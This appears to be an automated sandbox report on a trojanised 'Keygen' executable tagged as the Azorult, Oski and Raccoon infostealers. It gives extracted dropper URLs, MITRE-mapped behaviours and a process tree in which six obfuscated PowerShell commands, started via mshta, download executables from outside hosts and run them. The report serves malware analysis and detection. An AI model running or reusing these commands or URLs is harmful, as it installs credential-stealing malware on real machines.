azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
23s
max time network
154s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (73) — копия.exe

Score

10^/10

azorult oski raccoon discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 3240 powershell.exe
12 3240 powershell.exe
13 200 powershell.exe
15 200 powershell.exe
20 4456 powershell.exe
24 4456 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	3240	powershell.exe
12	3240	powershell.exe
13	200	powershell.exe
15	200	powershell.exe
20	4456	powershell.exe
24	4456	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exezny.exebma.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exebma.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiqs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiqs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1820	Keygen.exe
4956	zny.exe
5044	bma.exe
2184	FVjhgtresfdbv.exe
4100	NHtrdsaghfDF.exe
4300	bma.exe
4308	FVjhgtresfdbv.exe
4156	NHtrdsaghfDF.exe
3868	iqs.exe
4868	FVjhgtresfdbv.exe
4876	NHtrdsaghfDF.exe
4368	iqs.exe
4808	FVjhgtresfdbv.exe
5084	NHtrdsaghfDF.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4308 FVjhgtresfdbv.exe
4308 FVjhgtresfdbv.exe
4308 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4308	FVjhgtresfdbv.exe
4308	FVjhgtresfdbv.exe
4308	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

bma.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiqs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 5044 set thread context of 4300	5044	bma.exe	bma.exe
PID 2184 set thread context of 4308	2184	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4100 set thread context of 4156	4100	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 3868 set thread context of 4368	3868	iqs.exe	iqs.exe
PID 4868 set thread context of 4808	4868	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4876 set thread context of 5084	4876	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3464 timeout.exe
1284 timeout.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
3464	timeout.exe
1284	timeout.exe

Modifies registry class 2 IoCs

Processes:

cmd.exezny.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	zny.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2564	powershell.exe
200	powershell.exe
3240	powershell.exe
2208	powershell.exe
2564	powershell.exe
2208	powershell.exe
3240	powershell.exe
200	powershell.exe
2564	powershell.exe
3240	powershell.exe
2208	powershell.exe
200	powershell.exe
4456	powershell.exe
4456	powershell.exe
4636	powershell.exe
4636	powershell.exe
4456	powershell.exe
4636	powershell.exe
4456	powershell.exe
4636	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

bma.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiqs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5044 bma.exe
2184 FVjhgtresfdbv.exe
4100 NHtrdsaghfDF.exe
3868 iqs.exe
4868 FVjhgtresfdbv.exe
4876 NHtrdsaghfDF.exe

pid	process
5044	bma.exe
2184	FVjhgtresfdbv.exe
4100	NHtrdsaghfDF.exe
3868	iqs.exe
4868	FVjhgtresfdbv.exe
4876	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exezny.exe

description	pid	process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	200	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	4956	zny.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exebma.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiqs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1820 Keygen.exe
5044 bma.exe
2184 FVjhgtresfdbv.exe
4100 NHtrdsaghfDF.exe
3868 iqs.exe
4868 FVjhgtresfdbv.exe
4876 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (73) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exebma.exe

description	pid	process	target process
PID 3840 wrote to memory of 1416	3840	Keygen — копия (73) — копия.exe	cmd.exe
PID 3840 wrote to memory of 1416	3840	Keygen — копия (73) — копия.exe	cmd.exe
PID 3840 wrote to memory of 1416	3840	Keygen — копия (73) — копия.exe	cmd.exe
PID 1416 wrote to memory of 1820	1416	cmd.exe	Keygen.exe
PID 1416 wrote to memory of 1820	1416	cmd.exe	Keygen.exe
PID 1416 wrote to memory of 1820	1416	cmd.exe	Keygen.exe
PID 1416 wrote to memory of 2468	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2468	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2468	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2740	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2740	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2740	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 3464	1416	cmd.exe	timeout.exe
PID 1416 wrote to memory of 3464	1416	cmd.exe	timeout.exe
PID 1416 wrote to memory of 3464	1416	cmd.exe	timeout.exe
PID 2468 wrote to memory of 200	2468	mshta.exe	powershell.exe
PID 2468 wrote to memory of 200	2468	mshta.exe	powershell.exe
PID 2468 wrote to memory of 200	2468	mshta.exe	powershell.exe
PID 2740 wrote to memory of 2564	2740	mshta.exe	powershell.exe
PID 2740 wrote to memory of 2564	2740	mshta.exe	powershell.exe
PID 2740 wrote to memory of 2564	2740	mshta.exe	powershell.exe
PID 1416 wrote to memory of 3220	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 3220	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 3220	1416	cmd.exe	mshta.exe
PID 3220 wrote to memory of 3240	3220	mshta.exe	powershell.exe
PID 3220 wrote to memory of 3240	3220	mshta.exe	powershell.exe
PID 3220 wrote to memory of 3240	3220	mshta.exe	powershell.exe
PID 1416 wrote to memory of 2292	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2292	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 2292	1416	cmd.exe	mshta.exe
PID 2292 wrote to memory of 2208	2292	mshta.exe	powershell.exe
PID 2292 wrote to memory of 2208	2292	mshta.exe	powershell.exe
PID 2292 wrote to memory of 2208	2292	mshta.exe	powershell.exe
PID 1416 wrote to memory of 1284	1416	cmd.exe	timeout.exe
PID 1416 wrote to memory of 1284	1416	cmd.exe	timeout.exe
PID 1416 wrote to memory of 1284	1416	cmd.exe	timeout.exe
PID 1416 wrote to memory of 4384	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 4384	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 4384	1416	cmd.exe	mshta.exe
PID 4384 wrote to memory of 4456	4384	mshta.exe	powershell.exe
PID 4384 wrote to memory of 4456	4384	mshta.exe	powershell.exe
PID 4384 wrote to memory of 4456	4384	mshta.exe	powershell.exe
PID 1416 wrote to memory of 4532	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 4532	1416	cmd.exe	mshta.exe
PID 1416 wrote to memory of 4532	1416	cmd.exe	mshta.exe
PID 4532 wrote to memory of 4636	4532	mshta.exe	powershell.exe
PID 4532 wrote to memory of 4636	4532	mshta.exe	powershell.exe
PID 4532 wrote to memory of 4636	4532	mshta.exe	powershell.exe
PID 3240 wrote to memory of 4956	3240	powershell.exe	zny.exe
PID 3240 wrote to memory of 4956	3240	powershell.exe	zny.exe
PID 3240 wrote to memory of 4956	3240	powershell.exe	zny.exe
PID 200 wrote to memory of 5044	200	powershell.exe	bma.exe
PID 200 wrote to memory of 5044	200	powershell.exe	bma.exe
PID 200 wrote to memory of 5044	200	powershell.exe	bma.exe
PID 5044 wrote to memory of 2184	5044	bma.exe	FVjhgtresfdbv.exe
PID 5044 wrote to memory of 2184	5044	bma.exe	FVjhgtresfdbv.exe
PID 5044 wrote to memory of 2184	5044	bma.exe	FVjhgtresfdbv.exe
PID 5044 wrote to memory of 4100	5044	bma.exe	NHtrdsaghfDF.exe
PID 5044 wrote to memory of 4100	5044	bma.exe	NHtrdsaghfDF.exe
PID 5044 wrote to memory of 4100	5044	bma.exe	NHtrdsaghfDF.exe
PID 5044 wrote to memory of 4300	5044	bma.exe	bma.exe
PID 5044 wrote to memory of 4300	5044	bma.exe	bma.exe
PID 5044 wrote to memory of 4300	5044	bma.exe	bma.exe
PID 5044 wrote to memory of 4300	5044	bma.exe	bma.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (73) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (73) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2C74.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (73) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1416

C:\Users\Admin\AppData\Local\Temp\2C74.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1820

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2C74.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2468

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:200

C:\Users\Public\bma.exe
"C:\Users\Public\bma.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5044

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2184

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4308

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4100

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4156

C:\Users\Public\bma.exe
"C:\Users\Public\bma.exe"
6⤵
- Executes dropped EXE
PID:4300

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2C74.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2564

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3464

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2C74.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3240

C:\Users\Public\zny.exe
"C:\Users\Public\zny.exe"
5⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4956

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:1292

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2C74.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2292

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1284

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2C74.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Users\Public\iqs.exe
"C:\Users\Public\iqs.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3868

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4868

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:4808

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4876

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:5084

C:\Users\Public\iqs.exe
"C:\Users\Public\iqs.exe"
6⤵
- Executes dropped EXE
PID:4368

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2C74.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4532

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

